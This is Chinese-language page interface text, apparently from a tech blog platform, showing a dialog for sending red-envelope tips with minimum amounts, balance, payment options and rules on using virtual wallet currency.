请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值